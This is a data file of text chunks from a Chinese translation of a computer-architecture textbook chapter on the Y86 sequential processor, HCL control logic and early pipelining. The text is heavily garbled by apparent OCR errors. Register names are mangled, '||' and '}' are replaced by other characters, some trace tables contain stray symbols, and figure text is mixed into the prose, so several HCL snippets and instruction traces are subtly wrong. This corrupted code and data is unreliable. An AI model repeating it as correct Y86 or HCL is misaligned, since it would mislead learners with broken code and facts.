    {"text": "根 据可能的code值，可以用相等测试来表示信号si和sO的产生 ： bool si = code == 2 I I code == 3; bool sO = code == 1 I I code == 3; 还有一种更简洁的方式来表示这样的属性：当code在集合{2，3}中si为1,而code在 集合{1,3}中sO为1: bool si = code in { 2, 3 }; bool sO = code in { 1, 3 }; 判断集合关系的通用格式是： iexpr in {iexpr^ iexpr 2 , ..., iexpr k ) 这里被测试的值 iexpr 和待匹配的值 iexpr! 〜 iexpr k 都是整数表达式。"},
    {"text": "为了产生时 序电路 （sequential circuit),也就是有状态并且在这个状态上进行计 算的系统，我们必须引入按位存储信息的设备。 存储设备都是由同一 个时钟 控制，时钟是一个周 期性信号,决定什么时候要把新值加载到设备中。 考虑两类存储器设备： •时钟寄存器（简称 寄存器 ）存储单个位或字。 时钟信号控制寄存器加载输入值。"},
    {"text": "•随机访问存储器（简称 存储器 ）存储多个字，用地址来选择该读或该写哪个字。 随机访问 存储器的例子包括：1)处理器的虚拟存储器系统，硬件和操作系统软件结合起来使处理 器可以在一 个很大 的地址空间内访问任意的字 ；"},
    {"text": "这些字通常都存在寄存 器文件中，虽然我们会看到硬件有时可以直接将一个字从一个指令传送到另一个指令，以避免先 写寄存器文件再读出来的延迟。"},
    {"text": "信号沿着寄存器前面的组合逻辑传 播，这时，产生了一个新的寄存器输入（用y表示)，但只要时钟是低电位的，寄存器的输出就 仍然保持不变。 当时钟变成高电位的时候，输入信号就加载到寄存器中，成为下一个状态y,直 到下一个时钟上升沿，这个状态就一直是寄存器的新输出。"},
    {"text": "状态=y 输出=y 状态=x 输入=y 输出 =X 时钟上升沿\nval A srcA 读端口 valB srcB 《valW .dstW写端口 下面的图展示了一个典型的寄存器文件 图4-16寄存器操作。"},
    {"text": "当srcA或srcB被设成 某个寄存器ID时，在一段延迟之后，存储在相应程序寄存器的值就会出现在valA或valB上。 例如，将srcA设为3,就会读出程序寄存器％ebx的值，然后这个值就会出现在输出valA上。"},
    {"text": "由于寄存器文件既可以读也可以写,一个很 自然的问题就是“如果我们试图同时读和写同一个寄存器会发生什么?• ”答案简单明了：如果更 新一个寄存器，同时在读端口上用同一个寄存器ID,我们会看到一个从旧值到新值的变化。"},
    {"text": "同寄存器文件 地址数据输入 这个存储器有一个地址输入，一个写的数据输入， 一样，从存储器中读的操作方式类似于组合逻辑：如果我们在输入address上提供一个地址, 并将write控制信号设置为0,那么经过一些延迟之后，存储在那个地址上的值会出现在输出 data上。"},
    {"text": "•执行（execute):在执行阶段，算术/逻辑单元（ALU)要么执行指令指明的操作（根 据ifim的值)，计算存储器引用的有效地址，要么增加或减少栈指针。"},
    {"text": "因为我们想使硬件数量尽可能的少，并且最终把它映射到一个二维的集成电路芯 片的表面，在设计硬件时，一个非常简单而一致的结构是非常重要的。"},
    {"text": ".1 0x000 : 30f209000000 irmovl $9, %edx 2 0x006 : 30f315000000 irmovl $21, %ebx 3 0x00c: 6123 subl %edx, %ebx # subtract 4 OxOOe : 30f480000000 irmovl $128,%esp # Problem 4.11 5 0x014: 404364000000 rmmovl %esp, 100(%ebx) # store 6 0x01a: a02f pushl %edx # push 7 0x01c: bOOf popl %eax # Problem 4.12 8 OxOle: 7328000000 je done # Not taken 9 0x023: 8029000000 call proc # Problem 4.16 10 0x028: done: 11 0x028: 00 halt 12 0x029: proc: 13 0x029: 90 ret # Return 图4-17 Y86指令序列示例。"},
    {"text": "我们会跟踪这些指令通过各个阶段的处理 图‘18是对0P1 (整数和逻辑运算)、rrmovl (寄存器一寄存器传送）和irmovl (立即数― 寄存器传送）类型的指令所需的处理。"},
    {"text": "这些指 令在访存阶段什么也不做，而在写回阶段 ， valE被写入寄存器rB,然后PC设为valP,整个 指令的执行就结束了。 阶段 OPI rA, rB rrmovl rA, rB irmovlV, rB 取指 icodeiifun — Mi[PC] rA:rB^-Mi[PC + l] valP —PC + 2 icode:ifun Mi[PC] rA:rB —MdPC + 1] valP —PC + 2 icode:ifun — MjPC rA:rB —MJPC + 1] vdlC ^— M4[PC + 2] valP — PC + 6 译码 valA <- R[rA] valB — R[rB] valA — R[rA] 执行 valE — valB OP valA Set CC valE — 0 + valA valE — 0 +valC 访存 写回 R[rB]—valE R[rB] — valE R[rB]—valE 更新 PC PC—valP PC—valP PC—*valP 图4-18 Y86指令0P1、rrmovl和irmovl在顺序实现中的计算。"},
    {"text": "符号MJx]表示访问（读或者写）存储器位置x处的一个字 节，而队[%]表示访问四个字节 跟踪 subl 指令的执行 作为一个例子，让我们来看看一条subl指令的处理过程，这条指令是图4-17所示目标代 码的第3行中的subl指令。"},
    {"text": "阶段 通用 具体 0P1 rA, rB subl %edx, %ebx 取指 icode:ifun — M^PC] •icode:ifun — MjOxOOc] = 6:1 rA:rB —MdPC + 1] rA:rB^-M 1 [0x00d] = 2:3 valP — PC + 2 valP — 0x00c + 2 = OxOOe 译码 valA — R[rA] valA — R[%edx] = 9 valB — R[rB] valB — R[%ebx] = 21 执行 valE — valB OP valA valE —21-9=12 Set CC ZF — 0 ， SF — 0 ， OF — 0 访存 写回 R[rB] valE R[%ebx] <- valE = 12 更新 PC PC — valP PC <- valP = OxOOe 这个跟踪表明，我们达到了理想的效果，寄存器 ％ebx 设成了 12, 三个条件码都设成了 0, 而 PC 加了 2 。"},
    {"text": "_练习题4.11填写下表的右边一栏，这个表描述的是图4-17中目标代码第4行上的irmovl指令的 处理情况： ' 阶段 通用 具体 irmovl V，rB irmovl$128 / %esp 取指 icode ： ifura*<—M x [PC] rArrB^-MjPC+l] valC<-M 4 [PC+2] valP—PC+6 译码 执行 valE<—0+valC 访存 写回 R [rB] valE 更新 PC PC<—valP 这条指令的执行会怎样改变寄存器和PC呢？"},
    {"text": "阶段 rmmovl rA,D(rB) mrmovl D(rB),rA 取指 icode ： ifun—[PC] rA^B^-MjPC+l] valC—M 4 [PC+2] val 钐 —PC+6 icode ： M x [PC] rA:rB—MJPC+1] valC—M 4 [PC+2] valP—PC+6 译码 valA—R [rA] valB—R [rB] valB—R [rB] 执行 valE<—valB+valC valE— -valB+valC 访存 M 4 [valE] — valA valM— -M 4 [valE] 写回 R[rA] <—valM 更新 PC PC—valP PC—~valP 图4-19 Y86指令rmmovl和mrmovl在顺序实现中的计算。"},
    {"text": "各个阶段的处理如下： 通用 具体 阶段 rmmovl rA, D(rB) rmmovl %esp, 100(%ebx) 取指 icode : ifun — M^PC] rAirB^M^PC + 1] valC — M 4 [PC + 2] valP — PC + 6 =5 n ^ S. 小 ▲ 03 (!) Ut 1 忒沄云个 + 2 S多 ON (¾ 1 , 1 ~ 1 CJ1 o i \" T s a s I ^ < O .. 1 ' p) w II o 译码 .valA <- R[rA] valB — R[rB] valA <- R[%esp] = 128 valB <- R[%ebx] = 12 执行 valE — valB + valC valE —12+100=112 访存 M 4 [valE] — valA M 4 [112] — 128 写回 更新PC PC — valP PC — OxOla 跟踪记录表明，这条指令的效果就是将128写入存储器地址112,并将PC加6。"},
    {"text": "阶段 pushl rA popl rA 取指 icode: ifun Mx[PC] rA:rB —MJPC + 1] icode: ifun — M^PC] rA:rB —MJPC + 1] 译码 valP — PC + 2 valP — PC + 2 执行 valA ^r- R[rA] valB — R[%esp] valA <- R[%esp] valB — R[%esp] 访存 valE — valB+ (-4) valE <- valB + 4 写回 M 4 [valE] — val A valM — M 4 [valA] R[%esp] <- valE R[%esp] valE R[rA] <- valM 更新PC PC valP PC —valP 图4-20 Y86指令pushl和popl在顺序实现中的计算。"},
    {"text": "这些指令将值压入或弹出栈 pushl指令开始时很像我们前面讲过的指令，但是在译码阶段，S%esp作为第二个寄存\n器操作数的标识符，将栈指针赋值为valB。"},
    {"text": "减过4的值就 是存储器写的地址，在写回阶段还会存回到％635)中。 将valE作为写操作的地址，是遵循Y86 (和IA32)的惯例，也就是在写之前，pushl应该先将栈指针减去4,即使栈指针的更新实际上 是在存储器操作完成之后才进行的。"},
    {"text": "各个阶段的处理如下： 通用 具体 阶段 pushl rA pushl %edx 取指 icode: ifun — M^PC] rA:rB^-M![PC + 1] icode: ifun — M! [0x0 la] = a: 0 rA:rB<-M 1 [0x01b] = 2:8 译码 执行 valP PC + 2 valA — R[rA] valB R[%esp] valE <- valB + (-4) valP — 0x01a + 2 = 0x0 lc val A — R[%edx] = 9 valB <- R[%esp] = 128 valE — 128 + (-4) = 124 访存 M 4 [valE] — val A M 4 [124] <- 9 写回 R[°/ 0 esp] — valE R[°/ 0 esp] — 124 更新PC PC valP PC — 0x0 lc 跟踪记录表明，这条指令的效果就是将％©3?设为124，将9写入地址124,并将PC加2。"},
    {"text": "在执行阶段，用ALU给栈指针加4,但是用没加过4的原 始值作为存储器操作的地址。 在写回阶段，要用加过4的栈指针更新栈指针寄存器，还要将寄存 器rA更新为从存储器中读出的值。 用没加过4的值作为存储器读地址，保持Y86 (和IA32)的 惯例，popl应该首先读存储器，然后再增加栈指针。 ®练习题4.12填写下表的右边一栏，这个表描述的是图4-17中目标代码第7行上的popl指令的处 理情况： R/vgn. 通用 具体 阶段 popl rA popl %eax 取指 icode: ifun — Mj[PC] rA:rB —MJPC + 1] valP — PC + 2 译码 val A R[%esp] valB -e- R[%esp] 执行 valE — valB + 4 访存 valM — M 4 [valA] 写回 R[%esp] — valE R[rA] valM 更新PC PC <- valP 这条指令的执行会怎样改变寄存器和PC呢? 二 练习题4.13根据图4-20中列出的步骤，指令pushl%esp会有什么样的效果？"},
    {"text": "阶段 jXX Dest call Dest ret 取指 icodeiifun — M^PC] icode: ifun — Mi [PC] icodeiifun — M^PC] valC — M 4 [PC +1] valP — PC + 5 valC — M 4 [PC + 1] valP — PC + 5 valP — PC + 1 译码 valB — R[%esp] val A — R[%esp] valB — R[%esp] 执行 Cnd Cond(CC，ifun) valE — valB + (-4) valE — valB + 4 访存 M 4 [valE] valP valM — M 4 [valA] 写回 R[°/ 0 esp] valE R[%esp] — valE 更新PC PC — Cnd ? valC: valP PC—valC PC -e- valM 图4_21 Y86指令jXX、call和ret在顺序实现中的计算。"},
    {"text": "各个阶段的处理如下： 阶段 通用 具体 jxx Dest je 0x028 取指 译码 执行 访存 写回 更新PC icode: ifun — M^PC] valC — M 4 [PC +1] valP — PC + 5 Cnd — Cond(CC, ifun) PC —■ Cnd ? valC: valP icode: ifun — MjfOxOle] = 7:3 valC — M 4 [0x01f] = 0x028 valP — 0x0 le + 5 = 0x023 Cnd — Cond((0，0，0》，3) = 0 . PC — 0 ? 0x028: 0x023 = 0x023 在艮踪记录表明，这条指令的效果就是将 PC 加 5。 阶段 cmovXX rA, rB 取指 icode: ifun —• M][PC] rA:rB —MJPC+1] valP — PC + 2 译码 valA — R[rA] 执行 valE — 0 + valA 访存 写回 R[rB]—valE 更新 PC PC — valP 练习题 4.15从指令编码（图4-2和图4-3)我们可以看出， rmmovl指令是一类更通用的、包括条件转移在内的指令的无条 件版本。"},
    {"text": "对指令call,我们 要将valP,也就是call指令后紧跟着的那条指令的地址， Rft-ea- 通用 具体 YJ\\€SL call Dest call 0x029 取指 icode:ifun <- M】[PC] valC — M 4 [PC + 1] valP — PC + 5 译码 valB — R[%esp] 执行 valE valB + (-4) 访存 M 4 [valE] — valP 写回 R[%esp] <- valE 更新PC PC valC 压入栈中。"},
    {"text": "各个阶段的处理如下： 阶段 通用 具体 ret ret 取指 icode: ifun — M X [PC] icode: ifun — M![0x029] = 9:0 valP PG + 1 valP <- 0x029 + 1 = 0x02a 译码 valA R[%esp] valA — R[%esp] = 124 valB R[%esp] valB — R[%esp] = 124 执行 valE — valB + 4 valE 124 + 4 = 128 访存 valM — M 4 [valA] valM — M 4 [124] = 0x028 写回 R[%esp] valE R[%esp] — 128 更新 PC PC—valM PC — 0x028\n新 PC 程序计数器 (PC) a U? m。"},
    {"text": ",， 1 valM 写回 I'l s 数据 存储器 访存 Jl f-‘ valE cc ALU TT A end 执行 aluA, aluB f| II 占“ valA, valB icode, ifun rA SEQ的抽象视图，一种顺序实现。"},
    {"text": "指令执 行过程中的信息处理沿着顺时针方向的流程 进行，从用程序计数器（PC)取指令开始， 如图中左下角所示 srcB 盧 tE, dstM r 图 4-22 跟踪记录表明，这条指令的效果就是将PC设为0x028, halt指令的地址。"},
    {"text": "要将这些计算映射 到硬件上/我们要实现控制逻辑，它能在不同硬件单元之间传送数据，以及操作这些单元，使得 对每个不同的指令执行指定的运算。"},
    {"text": "SEQ的实现包括组合逻辑和两种存储器设备：时钟寄存器（程序计数器和条件码寄存器)， 随机访问存储器（寄存器文件、指令存储器和数据存储器）。"},
    {"text": "寄存器文件的两个写端口允许每个时钟周期更新两个程序寄存器，不过我们可以用特 殊的寄存器ID OxF作为端口地址，来表明在此端口不应该执行写操作。"},
    {"text": "硬件获得了如图 4-18〜图4-21的表中所示的那些赋值顺序执行一样的效果，即使所有的状态更新实际上同时发 生，且只在时钟上升开始下一个周期时。"},
    {"text": "之所以能保持这样的等价性，是由于Y86指令集的本 质，因为我们遵循以下原则组织计算：\n处理器从来不需要为了完成一条指令的执行而去读由该指令更新了的状态。"},
    {"text": "阶段 计算 0P1 rA, rB mrmovl D(rB), rA 取指 icode, ifun icode: ifun — Mj[PC] icode: ifun — M^PC] rA, rB rA:rB^-M,[PC + l] rA:rB —MJPC + 1] valC valC — M 4 [PC + 2] valP valP — PC + 2 valP — PC + 6 译码 val A, srcA val A R[rA] valB, srcB valB — R[rB] valB — R[rB] 执行 valE valE —■ valBOPvalA valE — valB + valC Cond. codes Set CC 访存 read/write valM — M 4 [valE] 写回 E port, dstE R[rB] — valE M port, dstM R[rA] — valM 更新PC PC PC 4- valP PC — valP 图4-24标识顺序实现的不同计算步骤。"},
    {"text": "以 指令0P1和mrmovl的计算作为示例 再举个例子来说明这条原则，我们可以看到有些指令（整数运算）会设置条件码，有些指令 (跳转指令）会读取条件码，但没有指令必须既设置又读取条件码。"},
    {"text": "以下是汇编代码，左边列出的是指令地址，图4-25给出了 SEQ硬件如何处理其中第3和第 4行指令： 1 0x000: irmovl $0x100,%ebx # %ebx <-- 0x100 2 0x006: irmovl $0x200, °/ 0 edx # °/ 0 edx <-- 0x200 3 0x00c: addl °/ 0 edx,7 0 ebx # %ebx <— 0x300 CC <— 000 4 OxOOe: je dest # Not taken 5 0x013: rmmovl %ebx,0(%edx) # M [0x200] <— 0x300 6 0x019: dest: halt 标号为1〜4的各个图是4个状态元素，还有组合逻辑，以及状态元素之间的连接。"},
    {"text": "组合逻 辑被条件码寄存器环绕着，因为有的组合逻辑（例如ALU)产生输入到条件码寄存器，而其他 部分（例如分支计算和PC选择逻辑）又将条件码寄存器作为输入。"},
    {"text": "当时钟上升开始周期4时（点3),会更新程序计数器、寄存器文件和条件码寄存器 ， 但是 组合逻辑还没有对这些变化做出反应，所以用白色表示。"},
    {"text": "周期 1- 周期 2- 周期 3 • 周期 4 1 2 3 4 5 周周周周周 0x000: irmovl $0x100,7,ebx # °/ 0 ebx <-- 0x100 0x006: irmovl $0x200,%edx # %edx <— 0!X200 • 0x00c; addl %edx,51el>;x ! # %ebx <— 0X300 CC <一 000 mm 纖雙_. _ 0x013: rmmovl %ebx,0(%edx) # M[0x200] <--0x300\n②周期 3 结束时 OxOOe ①周期 3 开始时 数据 ? 存储器 , 组合逻辑 端口 写端口 -jm y t gbx—OxlOO ¢- 1¾¾ OxOOc mmu 0x00c ③周期 4 开始时 M 组合逻辑 读端口 写端口 文件 Kebx=0x300 mm^A- OxOOe V-\n图4-25跟踪SEQ的两个执行周期。"},
    {"text": "名称 值（十六进制） 含义 INOP 0 nop 指令的代码 IHALT 1 halt 指令的代码 IRRMOVL 2 rrmovl 指令的代码 工 IRMOVL 3 irmovl 指令的代码 IRMMOVL 4 rmmovl 指令的代码 IMRMOVL 5 mrmovl 指令的代码 IOPL 6 整数运算指令的代码 IJXX 7 跳转指令的代码 ICALL 8 call 指令的代码 IRET 9 ret 指令的代码 IPUSHL A pushl 指令的代码 IPOPL B popl 指令的代码 FNONE 0 默认函数代码 RESP 4 %esp 的寄存器 ID RNONE F 表明没有寄存器文件访问 ALUADD 0 加法运算的功能 SAOK 1 ①正常操作状态码 SADR 2 ②地址异常状态码 SINS 3 ③非法指令状态码 SHLT 4 ④ halt 状态码 图4-26 HCL描述中使用的常数值。 这些值表示的是指令、功能码、寄存器ID、ALU操作和状态码的编码 除了图4-18〜图4-21中所示的指令以外，还包括了对nop和halt指令的处理。"},
    {"text": "然后，标号为“icode”和“ifirn”的控制逻辑块计算指令和功能码, 等于从存储器读出的值，或者当指令地址不合法时信号imem_error指明），这些值对应于 nop指令。"},
    {"text": "bool need_regids = icode in { IRRMOVL, I0PL, IPUSHL, IPOPL, IIRMOVL, IRMMOVL, IMRMOVL >; www.TopSage.com\nicode ifun rA rB valC valP 图4-27 SEQ的取指阶段。"},
    {"text": "J,这 两个字段会被设为OxF (RNONE),表明这条指令没有指明寄存器。 回想（图4-2),任何只有 一个寄存器操作数的指令，寄存器指示值字节的另一个字段都设为OxF (RNONE)。"},
    {"text": "对于 PC 值 /? 、 need—regids 值 r,. 以及 need 一 valC 值增加器产生值 p+l+r+4“ 2 .译码和写回阶段 图4-28是SEQ中实现译码和写回阶段的逻辑的详细情况。"},
    {"text": "每个端口都有一个地址连接和一个数据连接,地址连接是一个寄存器ID,而数据连 接是一组32根线路，既可以作为寄存器文件的输出字（对读端口来说),也可以作为它的输入字 (对写端口来说)。 两个读端口的地址输入为srcA和srcB,而两个写端口的地址输人为dstE 和dstM。"},
    {"text": "根据指令代码icode以及寄存器指示值rA和rB,可能还会根据执行阶段计算出的Cnd 条件信号，图4-28底部的四个块产生四个不同的寄存器文件的寄存器ID。"},
    {"text": "将所有这些条目整合到一个计算中就得到以下srcA的HCL描述（回想RESP 是％6印的寄存器ID): Code from SEQ int srcA =[ rA; icode in i IRRMOVL, IRMMOVL, IOPL, IPUSHL > icode in { IPOPL, IRET > : RESP; 1 : RNONE; # Don't need register _ 练习题4.18寄存器信号srcB表明应该读哪个寄存器以产生信号valB。"},
    {"text": "如果我们暂时忽略条件移动指令，综合所有不同指令的目 的寄存器，就得到下面的dstE的HCL描述： WARNING: Conditional move not implemented correctly here int dstE =[ icode in i IRRMOVL > : rB; icode in { IIRMOVL, IOPL} : rB; icode in { IPUSHL, IPOPL, ICALL, IRET > : RESP; 1 : RNONE; # Don't write any register\nvalA valB valM valE icode 我们查看执行阶段时，会重新审视这个信号，看看如Cnd 何实现条件传送。"},
    {"text": "图 4-28 _练习题4.20只有popl指令会同时用到寄存器文件吟两 个写端口。 对于指令p_opl%esp, E和M两个写端口会用 到同一个地址，但是写入的数据不同。"},
    {"text": "为了解决这个冲突， 必须对两个写端口设立一个优先级，这样一来，当同一个 周期内两个写端口都试图对一个寄存器进行写时，只有较 高优先级端口上的写才会发生。"},
    {"text": "因此我们可以用下面的方式来表达 产生aluA的控制块的行为： int aluA icode in { IRRMOVL, IOPL } : valA; icode in { IIRMOVL, IRMMOVL, IMRMOVL > : valC; icode in i ICALL, IPUSHL > : -4; icode in i IRET, IPOPL > : 4; Other instructions don't need ALU\n_ 练习题 4.21根据图4-18〜图4-21中执行阶段第一步的第一个操作数，写出SEQ中信号aluB的 HCL描述。"},
    {"text": "因此产生了一个信号set一cc来控制是否应该更 新条件码寄存器： bool set_.ee = icode in { IOPL >; t 数据出口 instr_valid imem 一 error 数据人口 icode WT valE val A valP 标号为“cond”的硬件单元会根据条件码和功能码来确定是否进行条件分支或者条件数据传 送（见图4-3)。"},
    {"text": "数据存储器既可以 写，也可以读存储器的值。 从存储 器中读出的值就形成了信号valM 访存阶段的任务就是读或者写程序数据。 如图4-30 所示，两个控制块产生存储器地址和存储器输数据 (为写操作）的值。 另外两个块产生控制信号表明应该 执行读操作还是写操作。 当执行读操作时，数据存储器 产生值valM。"},
    {"text": "这个块用HCL描 述就是： int mem_addr =[ icode in { IRMMOVL, IPUSHL, ICALL, IMRMOVL } : valE; icode in { IPOPL, IRET > : valA; Other instructions don't need address _练习题 4.23观察图4-16〜图4-19所示的不同指令的存储器操作，我们可以看到存储器写的数据总 是valA或valP。"},
    {"text": "写出SEQ中信号mem_data的HCL代码。 我们希望只为从存储器读数据的指令设置控制信号mem—read,用HCL代码表示就是： bool mem_read = icode in { IMRMOVL, IPOPL, IRET >; 练习题4.24我们希望只为向存储器写数据的指令设置控制信号mem一 write。 写出SEQ中信号 mem_write 的 HCL 代码。"},
    {"text": "访存阶段最后的功能是根据取值阶段产生的icode、imem—error、instr_valid值以 及数据存储器产生的dmem_error信号，从指令执行的结果来计算状态码Stat。"},
    {"text": "用HCL 来描述这个选择就是： int new_pc =[ Call. Use instruction constant icode == ICALL : valC; Taken branch. Use instruction constant icode := IJXX && Cnd : valC; Completion of RET instruction. Use value from stack icode == IRET : valM; PC icode Cnd valC valM valP 图 4-31 SEQ 更新 PC 阶段。 嫌指辦码和分支 *标志，从信号valC、 valM和valP中选 出下一t PC的值 Default: Use incremented PC : valP; 6.SEQ小结 现在我们已经浏览了 Y86处理器的一个完整的设计。"},
    {"text": "可以看 到，通过将执行每条不同指令所需的步骤组织成一个统一的流程，就 可以用很少量的各种硬件单元以及一个时钟来控制计算的顺序，从而 实现整个处理器。"},
    {"text": "在时钟周期起始时，从更新过的PC开始，要从指令存储器中 读出指令，从寄存器文件中读出栈指针，ALU要减小桟指针，为了 得到程序计数器的下一个值，还要从存储器中读出返回地址。"},
    {"text": "流水线化的一个重要特性就是增加了系统的呑吐量 （ throughput),也就是单位时间内服务的 顾客总数，不过它也会轻微地增加延迟 （ latency),也就是服务一个用户所需要的时间。"},
    {"text": "300 ps 20 ps 延迟 = 320ps ^ 吞吐量 = 3.12 GIPS 时钟 a) 硬件：未流水线化的 b )流水线图 图4-32非流水线化的计算硬件。 每个320ps的周期内，系统用300ps计算组合逻辑函数 ， 20ps将结 果存到输出寄存器中 在现代逻辑设计中，电路延 迟以微 微秒 （ picosecond,简写成“ps ”)， 也就是1(T 12 秒 为单位 来计算。 在这个例子中，我们假设组合逻辑需要300ps,而加载寄存器需要20ps。"},
    {"text": "每经过一个120ps的周期， 每条指令就行进通过一个阶段 4.4.2流水线操作的详细说明 为了更好地理解流水线是怎样工作的，让我们来详细看 看流水线计算的时序和操作。"},
    {"text": "图4-35跟踪了时刻240〜360之间的电路活动，指 令II经过阶段C, 12经过阶段B,而13经过阶段A。 就 在时刻240 (点1)时钟上升之前,阶段A中计算的指令 12的值已经到达第一个流水线寄存器的输入，但是该寄存 器的状态和输出还保持为指令II在阶段A中计算的值。"},
    {"text": "当时刻360时钟上升时，各条指令会前进经过一个流水线阶 EG- 时钟 11 个 /360 A 12 13 时间120 ①时间=239 100 ps 20 ps 100 ps 20 ps 100 ps 20 ps 组食 寄 组合 寄 謂 鍵♦ 逻辑 =t> 存 -f * 器 C 器 ②时间-241 100 ps 20 ps 100 ps 20 ps 100 ps 组合 组合 I 组合 寄 逻辑 =[)0 逻辑 =^> 1 逻辑 => A B 翁 i C 器 ③时间=300 100 ps 20 ps ll 寄存器\n100.ps 20 ps ?存，,乂 ④时间=359 100 ps 20 ps 合 :纖 A\n图4-35流水线操作的一个时钟周期。"},
    {"text": "在时钟上升后，这些指令开始传送到阶段C和B,而指令13 (用 ,浅灰色表示)开始经过阶段A ( 辱 2:和3) 9 就在时钟开始再次上升之前,这些指令的结果就 会传到流水线寄存器的输A (点:4) 从这个对流水线操作详细的描述中，我丨门可以看到鹌缓时钟不会影响流水线的行为。 信号 ： 传 播到流水线寄存器的输入,但是直到时钟上并时才会改变秦存器的状态。"},
    {"text": "流水线的局限性 图4-33的例子是一个理想的流水线化的系统，在这个系统中，我们可以将计算分成三个相 互独立的阶段，每个阶段需要的时间是原来逻辑需要时间的三分之一。"},
    {"text": "c 510 ps =5.88 GIPS\n时钟 a)硬件：三阶段流水线，不一致的阶段延迟 _ _轉 lM 賴麵 Ml I 时间 ^ b)流水线图 图4-36由不一致的阶段延迟造成的流水线技术的局限性。"},
    {"text": "练习题 4.26假设我们分析图4-32中的组合逻辑，认为它可以分成6个块，依次命名为A〜F，延 迟分别为80、30、60、50、70和10ps,如下图所示： 80 ps 30 ps 60 ps 50 ps 70 ps 10 ps 20 ps ■ ^ v . •… ,- 寄 A 存 器 时钟\n在这些块之间插入流水线寄存器，就得到这一设计的流水线化的版本。"},
    {"text": "50 ps 20 ps 50 ps 20 ps 50 ps 20 ps 50 ps 20 ps 50 ps 20 ps 50 ps 20 ps\n寄 存 器 k 合 ; 遂辑 组奋 «3» 合属 驾3 组合 麵 m 嗤 存唪 ♦ 器 器\n延迟=420ps,吞吐量=14.29 GIPS 图4-37由开销造成的流水线技术的局限性。"},
    {"text": "在组食逻辑被分成较小的块时，由寄存器更新引起的延 迟就成为了一个限制因素 ••、 为了提高时钟频率，现代处理器釆用了很深的（15或更多的阶段）流水线。"},
    {"text": "_练习题4.27让我们来看看图4>32:中的系统_，假设将它划分成任意数董的流水线阶段h每个阶段有 相同的延迟300从，每个流水钱寄存器的延迟为20ps。"},
    {"text": "「 带反馈的流水线系统 人或者指令，相 相邻指令之间很 到目前为止，我们只考虑一种系统，其中传过流水线的对象，无论是汽车、 互都是完全独立的。"},
    {"text": "例如，考虑下面这个Y86指令序列：\nirmovl $50, mrmovl 100( (%ebx) ), %edx\nirmovl $50,°/ 0 eax addl %eax,%ebx mrmovl 100 (°/ 0 ebx) , %edx 在这个包含三条指令的序列中，每对相邻的指令之间都有数 据相关 （data dependency), 用圈起来的寄存器名字和它们之间的箭头来表示。"},
    {"text": "irmovl指令（第1行）将它的结果存放 在％68<中，然后addl指令（第2行）要读这个值； 而addl指令将它的结果存放在％的％ 中，mrmovl指令（第3行）要读这 个值。"},
    {"text": "来看着下面这个Y86指令序列 ： loop: subl %edx,%ebx jne targ irmovl $10,%edx jmp loop targ: halt jne指令（第3行）产生了 一个控制相关 （control dependency)，因为条件测试的结果会决 定要执行的新指令是irmovl指令（第4行）还是halt指令（第7行）。"},
    {"text": "SEQ +:重新安排计算阶段 作为实现流水线化设计的一个过渡步骤，我们必须稍微调整一下SEQ中五个阶段的顺序，使得 更新PC阶段在一个时钟周期开始时执行，而不是结束时才执行。"},
    {"text": "寄 ~► 组合逻辑 存 ■ ,‘ '. • -• . -: • V '- : , ' 器 a)硬件：未流水线化，带反馈\n丨:: 11 13 M\n时间\nb)流水线图 C) 硬件：带反馈的三阶段流水线 II I M M ^ 13 时间 d)流水线图 图4-38由逻辑相关造成的流水线技术的局限性。"},
    {"text": "在从未流水线化的带反馈的系统（a)转化到流水线 化的系统（c)的过程中，我们改变了它的计算行为，可以从两个流水线图（b和d)中看出来\nicode Cnd valC valM valP SEQ的新PC计算 图4>39移动计算PC的时间。"},
    {"text": "在SEQ+中， PC 1 ^ t | ^ plcode Cnd pValM pValC pValP SEQ+的PC选择 我们将计算当前状态的程序计数器的值作为指令执行的第一步\n图4-40是SEQ+硬件更为详细的说明。 可以看到，其中的硬件单元和控制块与我们在SEQ 中用的（图4-23) —样，只不过PC逻辑从上面（在时钟周期结束时活动）移到了下面（在时钟 周期开始时活动h\nSEQ+ 中的 PC 在哪里 SEQ+有一个很奇怪的特性，那就是没有硬件寄存器来存放程序计数器。"},
    {"text": "我 们不需要按照程序员可见的状态表明的方式来对状态进行编码，只要处理器能正确地执行任意的 机器语言程序。 我们不需要将状态编码成程序员可见的状态指定的形式，只要处理器能够为任意 的程序员可见状态（例如程序计数器）产生正确的植。"},
    {"text": "将PC计算从时钟周期结束时移到了开始时，使之更适合于流水线 4.5.2插入流水线寄存器 在创建一个流水线化的Y86处理器的最初尝试中,我们要在SEQ+的个阶段之间插入流 水线寄存器，并对信号重新排列，得到PIPE-处理器，这里的“-”代表这个处理器和最终的处 理器设计相比,性能要差一点。"},
    {"text": "这个版本有几个缺陷，稍后就会解决这些问题 可以看到，PIPE-使用的硬件单元与顺序设计SEQ (图4-40)几乎一样，只是有流水线寄 存器分隔开这些阶段。"},
    {"text": "图4-42表明以下代码序列如何通过我们的五阶段流水线，其中注释将各条指令标识为 II〜15以便引用：\n$l,7 0 eax # II $2,°/ 0 ebx # 12 $3,%ecx # 13 $4,°/ 0 edx # 14 # 15 irmovl irmovl irmovl irmovl halt\n图的右边是这个指令序列的流水线图。"},
    {"text": "例如，在周期1取出指令II,然后它开始通过流水线各个阶段, 到周期5结束后，其结果写入寄存器文件。 在周期2取出指令12,到周期6结束后，其结果写 回，以此类推。"},
    {"text": "4.5.3 对信号进行重新排列和标号 ' 顺序实现SEQ和SEQ+在一个时刻只处理一条指令，因此诸如valC、srcA和valE这样的信 号值有唯一的值。"},
    {"text": "我们需要很小心以确保使用的是正确版本的信号，否则会导致 很严重的错误，例如将一条指令计算出的结果存放到了另一条指令指定的目的寄存器中。"},
    {"text": "\\ W D M W irmovl $l,%eax irmovl $2，％ebx irmovl $3,%ecx irmovl $4，％edx halt 图4-42指令流通过流水线的示例 . 信号 M_stat 和 m_stat 的差别 在命名系统中，大写的前缀“D”、“E”、“M”和“W”指的是流水线寄存器，所以M_stat 指的是流水线寄存器M的状态码字段。 小写的前綴“f”、“d”、“e”、“m”和“w”指的是流水 线阶段，所以m 一 stat指的是在访存阶段中由控制逻辑块产生出的状态信号。"},
    {"text": "类似地 ， 如果取 出的指令是ret,要到指令通过访存阶段，才能确定返回地址。 除了条件转移指令和ret以外，根据取指阶段中计算出的信息，我们能够确定下一条指令 的地址。"},
    {"text": "稍微复杂 一点的是反向选择、正向不选择 （backward taken, forward not-taken, BTFNT) 的策略 ， 当分支 地址比下一条地址低时就预测选择分支，而分支地址比较高时 ， 就预测不选择分支。"},
    {"text": "正如我们在 3.6.6 节中看到的，分支预测错误会极大地降低程序的性能，因此就促使我们在 可能的时候，要使用条件数据传送而不是条件控制转移。"},
